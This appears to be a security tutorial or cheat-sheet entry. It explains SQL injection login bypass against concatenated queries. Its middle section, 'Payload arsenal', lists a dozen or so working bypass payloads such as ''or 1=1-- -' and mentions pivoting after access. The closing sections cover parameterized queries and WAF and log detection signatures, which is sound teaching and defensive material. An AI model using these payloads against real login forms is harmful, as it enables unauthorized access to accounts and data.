SQL Injection Authentication Bypass

A SQL injection authentication bypass happens when a login form builds the validation query by concatenating user input directly, without parameterizing it. The typical query looks like:

SELECT * FROM users WHERE username='$user' AND password='$pass';

If the username field isn't sanitized, you can close the string and inject an always-true condition so the query returns a row even without knowing any credentials. The classic payload is:

'or 1=1-- -

Placed in the username field, the query becomes ...WHERE username='' or 1=1-- -' AND password='...': the or 1=1 makes the condition true for the whole table and -- - comments out the rest (including the password check). The app gets at least one row, treats the credentials as valid and grants the session. The space after -- (or the extra -) matters in MySQL/MariaDB, where the -- comment requires a following whitespace character.

Payload arsenal

Try these in the username and/or password until one breaks the query in our favour:

' or 1=1-- -
' or '1'='1
admin'-- -
admin'#
admin'/*
' or 1=1 limit 1-- -
") or ("1"="1
') or ('1'='1'-- -
' or 1=1 or ''='
" or ""="
' or 1=1;-- -                 # with stacked queries
admin' or '1'='1'-- -
' or username like 'admin%'-- -

It's the most direct in-band variant. Unlike a blind SQLi, there's no need to extract data character by character here: just falsifying the login condition is enough. Worth keeping in mind because it's usually the first thing to try against any panel: if the input filter is weak, a single request grants access.

Nuances. The same payload doesn't always work: depending on the engine and how the query is built you may need admin'-- -, ") or ("1"="1, double quotes, or a tweaked comment. And a vulnerable login doesn't guarantee full control of the database; for that it's usually chained with SQLi to file write or other techniques. Once inside the panel, the usual move is to look for sensitive data enabling the next pivot (credential reuse).

Defence. Always use parameterized queries (prepared statements), never concatenate user input into SQL; apply allow-lists on fields; and don't tie authentication to whether a query "returns rows".

How to detect it. The signature is a username or password field containing quotes, or 1=1, -- -, # or ") or (": a WAF over the login POST flags it, and a simple rule alerts when the username field itself carries SQL syntax. On the server, a successful login preceded by SQL syntax errors (or a grotesquely long/quote-laden username in the application log) betrays the bypass. The high-fidelity signal is a valid authentication with no real user behind it: a session granted for a username absent from the table, or a spike of login attempts with payloads before the hit. Since it is usually a single request, the inbound WAF is the best detection barrier.